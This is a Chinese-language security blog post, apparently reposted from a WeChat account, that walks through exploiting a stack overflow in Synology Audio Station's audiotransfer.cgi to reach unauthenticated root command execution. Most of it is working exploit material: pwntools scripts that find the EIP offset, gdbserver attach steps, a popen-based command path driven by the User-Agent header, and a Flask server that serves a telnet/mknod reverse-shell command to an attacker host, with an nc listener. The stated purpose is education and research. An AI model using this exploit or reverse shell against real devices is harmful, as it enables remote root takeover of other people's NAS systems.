1.背景
2.环境
版本 | 内容 |
---|---|
Nas版本 | Synology DS3615xs |
固件版本 | DSM 5.2-5592 |
套件版本 | Audio Station 5.4-2860 |
Gdb版本 | 7.11.1 |
指令架构 | x86 |
3.漏洞详情
audiotransfer.cgi
存在缓冲区溢出,远程攻击者可构造特殊数据包,然后利用该漏洞以 root 权限在目标设备执行任意命令。/volume1/@appstore/AudioStation/app/webUI
路径下可以看到漏洞程序audiotransfer.cgi
,当然也可以在请求的路径:/usr/syno/synoman/webman/3rdparty/AudioStation/webUI/
中看到audiotransfer.cgi
。进入到sub_804B280函数可以看到,在获取到了请求的URI和User_Agent以后,将对URI的内容进行判断,如果内容不为空,则会对请求的URI的部分进行校验
/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/
payload
4.开始复现
dmesg |tail -n 10
dmesg结果
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = remote("10.0.9.210",5000)
addr = "10.0.9.210:5000" #目标地址
payload = '/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/'
payload += cyclic(300)
# payload += p32(0xdeedbeef)
user_agent = 'sierting666'
text = """GET {payload1} HTTP/1.1
Host: {addr}
User-Agent: {payload2}
""".format(addr=addr,payload1=payload,payload2=user_agent)
p.sendline(text)
这里通过cyclic来生成对应偏移,然后发送后在nas系统中用dmesg命令看看报错信息,接着利用cyclic_find()确定偏移,这个需要多次尝试,直到cyclic_find函数找不到偏移的时候,再在末尾加入0xdeedbeef
的内容来确定偏移是否控制eip。
比如第一次,发送过去发现覆盖到了eip的是61617463
.
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = remote("10.0.9.210",5000)
addr = "10.0.9.210:5000" #目标地址
payload = '/webman/3rdparty/AudioStation/webUI/audiotransfer.cgi/'
payload += cyclic(cyclic_find(0x61617463))
payload += p32(0xdeedbeef)
user_agent = 'sierting666'
text = """GET {payload1} HTTP/1.1
Host: {addr}
User-Agent: {payload2}
""".format(addr=addr,payload1=payload,payload2=user_agent)
p.sendline(text)
elf = ELF("./audiotransfer.cgi")
argv2 = elf.search("rx00").next()
audiotransfer.cgi
程序的触发,可以更好地能看到我们的payload到底干了什么。ps w
命令找到触发audiotransfer.cgi
程序的httpd程序的进程,然后再利用gdbserver进行attachaudiotransfer.cgi
的httpd程序是这个,这个其实很简单,甚至参考文章中其实后面也有写,就是先写一个延迟程序:#include<stdio.h>
#include<stdlib.h>
int main() {
printf("%s", getenv("REQUEST_URI"));
printf("%s", getenv("HTTP_USER_AGENT"));
sleep(1000000);
}
gcc -m32 1.c -o 1
audiotransfer.cgi
这个文件(记得备份一下原始的audiotransfer.cgi
):mv audiotransfer.cgi audiotransfer.cgi_bak
mv 1 audiotransfer.cgi
chmod 755 audiotransfer.cgi
audiotransfer.cgi
的进程保持执行状态ps w |grep audiotransfer.cgi
mv audiotransfer.cgi_bak audiotransfer.cgi
gdbserver :23456 --attach 20449
target remote ip:23456
audiotransfer.cgi
所以需要设置一下gdb的追踪模式,输入命令:set follow-fork-mode child
和set detach-on-fork off
即可完成。catch exec
,然后输入c继续执行,等待请求audiotransfer.cgi
程序中audiotransfer.cgi
中以后,通过info func找到popen函数的plt地址以后b *0x8049730
c
,直接继续执行,直到断到popen函数这里就说明我们的栈溢出利用的第一步已经完成stack
命令查看栈中的内容发现,发现在该地址中保存着我们User_Agent的内容,说明该地址可以通过User_Agent的内容进行操纵,所以参数1设置为该地址即可实现任意命令执行。# coding: utf-8
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "rm -rf /tmp/x;mknod /tmp/x p;telnet 反弹ip 反弹port 0</tmp/x |/bin/sh 1>/tmp/x &"
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5678)
nc -lvp 6666
原文始发于微信公众号(弱口令安全实验室):IOT安全初学者最友好的漏洞之一:群辉Synology NAS Audio Station 套件未授权 RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论